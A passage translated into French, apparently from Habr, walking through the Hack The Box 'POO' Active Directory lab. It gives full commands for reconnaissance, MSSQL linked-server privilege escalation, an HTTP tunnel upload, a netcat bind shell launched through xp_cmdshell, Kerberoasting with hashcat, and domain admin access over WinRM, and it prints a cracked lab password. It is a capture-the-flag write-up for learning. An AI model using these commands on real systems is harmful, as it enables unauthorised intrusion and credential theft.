
Dans cet article, nous analyserons le passage non seulement d'une machine, mais de tout un mini-laboratoire depuis le site .
Comme indiqué dans la description, POO est conçu pour tester les compétences à toutes les étapes des attaques dans un petit environnement Active Directory. L'objectif est de compromettre un hôte disponible, d'augmenter les privilèges et éventuellement de compromettre l'ensemble du domaine en collectant 5 drapeaux au cours du processus.
La connexion au laboratoire se fait par VPN. Il est recommandé de ne pas se connecter à partir d'un ordinateur en état de marche ou d'un hôte où se trouvent des données importantes pour vous, car vous entrez dans un réseau privé avec des personnes qui connaissent quelque chose à la sécurité de l'information 🙂
informations organisationnelles
Afin que vous puissiez découvrir de nouveaux articles, logiciels et autres informations, j'ai créé и dans le domaine de l'IIKB. Aussi vos demandes personnelles, questions, suggestions et recommandations .
Toutes les informations sont fournies à des fins éducatives uniquement. L'auteur de ce document n'assume aucune responsabilité pour tout dommage causé à quiconque à la suite de l'utilisation des connaissances et des méthodes obtenues à la suite de l'étude de ce document.
Introduction
Cette finale se compose de deux machines et contient 5 drapeaux.

La description et l'adresse de l'hébergeur disponible sont également données.

Commençons!
Drapeau de reconnaissance
Cette machine a une adresse IP de 10.13.38.11 que j'ajoute à /etc/hosts.
10.13.38.11 poo.htb
La première étape consiste à analyser les ports ouverts. Comme il faut beaucoup de temps pour scanner tous les ports avec nmap, je vais d'abord le faire avec masscan. Nous analysons tous les ports TCP et UDP de l'interface tun0 à 500 pps.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500 
Maintenant, pour obtenir des informations plus détaillées sur les services qui s'exécutent sur les ports, exécutons une analyse avec l'option -A.
nmap -A poo.htb -p80,1433 
Ainsi, nous avons les services IIS et MSSQL. Dans ce cas, nous trouverons le vrai nom DNS du domaine et de l'ordinateur. Sur le serveur Web, nous sommes accueillis par la page d'accueil d'IIS.

Parcourons les répertoires. J'utilise gobuster pour cela. Dans les paramètres, nous spécifions le nombre de flux 128 (-t), URL (-u), dictionnaire (-w) et extensions qui nous intéressent (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html 
Ainsi, nous avons une authentification HTTP pour le répertoire /admin, ainsi que le fichier de stockage du service de bureau .DS_Store disponible. .DS_Store sont des fichiers qui stockent les paramètres utilisateur pour un dossier, tels qu'une liste de fichiers, l'emplacement de l'icône, l'image d'arrière-plan sélectionnée. Un tel fichier peut se retrouver dans le répertoire du serveur Web des développeurs Web. Ainsi, nous obtenons des informations sur le contenu du répertoire. Pour cela, vous pouvez utiliser .
python3 dsstore_crawler.py -i http://poo.htb/ 
Nous obtenons le contenu du répertoire. La chose la plus intéressante ici est le répertoire /dev, à partir duquel nous pouvons voir les sources et les fichiers db dans deux branches. Mais nous pouvons utiliser les 6 premiers caractères des noms de fichiers et de répertoires si le service est vulnérable à IIS ShortName. Vous pouvez vérifier cette vulnérabilité en utilisant .

Et nous trouvons un fichier texte qui commence par "poo_co". Ne sachant pas quoi faire ensuite, j'ai simplement sélectionné dans le dictionnaire des annuaires tous les mots qui commencent par "co".
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txtEt itérer avec wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404 
Et trouvez le bon mot ! Nous regardons ce fichier, enregistrons les informations d'identification (à en juger par le paramètre DBNAME, elles proviennent de MSSQL).

On passe le drapeau, et on avance de 20 %.

Hein drapeau
Nous nous connectons à MSSQL, j'utilise DBeaver.

Nous ne trouvons rien d'intéressant dans cette base de données, créons un éditeur SQL et vérifions quels sont les utilisateurs.
SELECT name FROM master..syslogins; 
Nous avons deux utilisateurs. Vérifions nos privilèges.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin'); 
Ainsi, il n'y a pas de privilèges. Voyons les serveurs liés, j'ai écrit sur cette technique en détail .
SELECT * FROM master..sysservers; 
Nous trouvons donc un autre SQL Server. Vérifions l'exécution des commandes sur ce serveur en utilisant openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version'); 
Et nous pouvons même construire un arbre de requête.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');Le fait est que lorsque nous faisons une demande à un serveur lié, la demande est exécutée dans le contexte d'un autre utilisateur ! Voyons quel contexte utilisateur nous exécutons sur le serveur lié.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name'); 
Et maintenant voyons dans quel contexte la requête du serveur lié au nôtre est exécutée !
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');'); 
Ainsi, c'est un contexte DBO qui doit avoir tous les privilèges. Vérifions les privilèges en cas de requête d'un serveur lié.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')'); 
Comme vous pouvez le voir, nous avons tous les privilèges ! Créons notre admin comme ceci. Mais ils ne les laissent pas passer par openquery, faisons-le via EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";Et maintenant, nous nous connectons avec les informations d'identification du nouvel utilisateur, observons la nouvelle base de données de drapeaux.

Nous remettons ce drapeau et allons plus loin.

Indicateur de retour en arrière
Obtenons le shell en utilisant MSSQL, j'utilise mssqlclient du package impacket.
mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC 
Nous devons obtenir des mots de passe, et la première chose que nous avons déjà rencontrée est le site. Ainsi, nous avons besoin d'une configuration de serveur Web (il est impossible de lancer un shell pratique, apparemment le pare-feu fonctionne).

Mais l'accès est refusé. Bien que nous puissions lire le fichier à partir de MSSQL, nous avons juste besoin de savoir quels langages de programmation sont configurés. Et dans le répertoire MSSQL, nous découvrons qu'il y a Python.

Ensuite, il n'y a aucun problème pour lire le fichier web.config.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())" 
Une fois les informations d'identification trouvées, accédez à /admin et récupérez le drapeau.


drapeau de pied
En effet, il y a quelques désagréments à utiliser un pare-feu, mais en regardant dans les paramètres réseau, on remarque que le protocole IPv6 est également utilisé !

Ajoutez cette adresse à /etc/hosts.
dead:babe::1001 poo6.htb
Analysons à nouveau l'hôte, mais cette fois sur IPv6.

Et le service WinRM est disponible sur IPv6. Connectons-nous avec les informations d'identification trouvées.

Il y a un drapeau sur le bureau, remettez-le.

Drapeau P00ned
Après reconnaissance sur l'hôte avec nous ne trouvons rien de spécial. Ensuite, il a été décidé de rechercher à nouveau des informations d'identification (j'ai également écrit sur ce sujet ). Mais je n'ai pas pu obtenir tous les SPN du système via WinRM.
setspn.exe -T intranet.poo -Q */* 
Exécutons la commande via MSSQL.

De cette façon, nous obtenons le SPN des utilisateurs p00_hr et p00_adm, ce qui signifie qu'ils sont vulnérables à une attaque telle que Kerberoasting. En bref, nous pouvons obtenir les hachages de leurs mots de passe.
Vous devez d'abord obtenir un shell stable au nom de l'utilisateur MSSQL. Mais comme nous sommes limités en accès, nous avons une connexion avec l'hôte uniquement via les ports 80 et 1433. Mais il est possible de tunneliser le trafic via le port 80 ! Pour cela nous utilisons . Téléchargeons le fichier tunnel.aspx dans le répertoire personnel du serveur Web - C: inetpubwwwroot.

Mais lorsque nous essayons d'y accéder, nous obtenons une erreur 404. Cela signifie que les fichiers *.aspx ne sont pas exécutés. Pour exécuter des fichiers avec ces extensions, installez ASP.NET 4.5 comme suit.
dism /online /enable-feature /all /featurename:IIS-ASPNET45 
![]()
Et maintenant, lors de l'accès à tunnel.aspx, nous obtenons la réponse que tout est prêt à fonctionner.
![]()
Démarrons la partie client de l'application, qui va relayer le trafic. Nous transmettrons tout le trafic du port 5432 au serveur.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx 
Et nous utilisons des proxychains pour envoyer le trafic de n'importe quelle application via notre proxy. Ajoutons ce proxy au fichier de configuration /etc/proxychains.conf.

Maintenant téléchargeons le programme sur le serveur , avec lequel nous allons créer un shell de liaison stable, et le script , avec lequel nous allons effectuer l'attaque Kerberoasting.

Maintenant, via MSSQL, nous lançons l'écouteur.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321 
Et nous nous connectons via notre proxy.
proxychains rlwrap nc poo.htb 4321 
Et obtenons les hachages.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt 
Ensuite, vous devez parcourir ces hachages. Puisque rockyou n'avait pas de dictionnaire de données de mots de passe, j'ai utilisé TOUS les dictionnaires de mots de passe fournis dans Seclists. Pour l'énumération, nous utilisons hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --forceEt nous trouvons les deux mots de passe, le premier dans le dictionnaire dutch_passwordlist.txt, et le second dans Keyboard-Combinations.txt.


Et donc nous avons trois utilisateurs, nous allons au contrôleur de domaine. Découvrons d'abord son adresse.

Super, nous avons appris l'adresse IP du contrôleur de domaine. Découvrons tous les utilisateurs du domaine, ainsi que lequel d'entre eux est administrateur. Pour télécharger le script pour obtenir des informations PowerView.ps1. Ensuite, nous nous connecterons en utilisant evil-winrm, en spécifiant le répertoire avec le script dans le paramètre -s. Et puis chargez simplement le script PowerView.

Maintenant, nous avons accès à toutes ses fonctions. L'utilisateur p00_adm ressemble à un utilisateur privilégié, nous allons donc travailler dans son contexte. Créons un objet PSCredential pour cet utilisateur.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$CpassDésormais, toutes les commandes Powershell où nous spécifions Creds seront exécutées au nom de p00_adm. Affichons une liste d'utilisateurs et l'attribut AdminCount.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount 
Et donc, notre utilisateur est vraiment privilégié. Voyons à quels groupes il appartient.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds 
Nous confirmons enfin que l'utilisateur est un administrateur de domaine. Cela lui donne le droit de se connecter à distance au contrôleur de domaine. Essayons de nous connecter avec WinRM en utilisant notre tunnel. J'étais confus par les erreurs émises par reGeorg lors de l'utilisation de evil-winrm.

Ensuite, nous en utilisons un autre, plus facile, pour vous connecter à WinRM. Ouvrir et modifier les paramètres de connexion.

Nous essayons de nous connecter, et nous sommes dans le système.

Mais il n'y a pas de drapeau. Ensuite, regardez l'utilisateur et vérifiez les bureaux.

Chez mr3ks nous retrouvons le drapeau et le laboratoire est terminé à 100%.

C'est tout. En guise de commentaires, indiquez si cet article vous a appris quelque chose de nouveau et s'il vous a été utile.
Vous pouvez nous rejoindre au . Vous y trouverez des matériaux intéressants, des cours fusionnés, ainsi que des logiciels. Rassemblons une communauté dans laquelle il y aura des personnes qui comprennent de nombreux domaines de l'informatique, alors nous pourrons toujours nous entraider sur tous les problèmes informatiques et de sécurité de l'information.
Source: habr.com
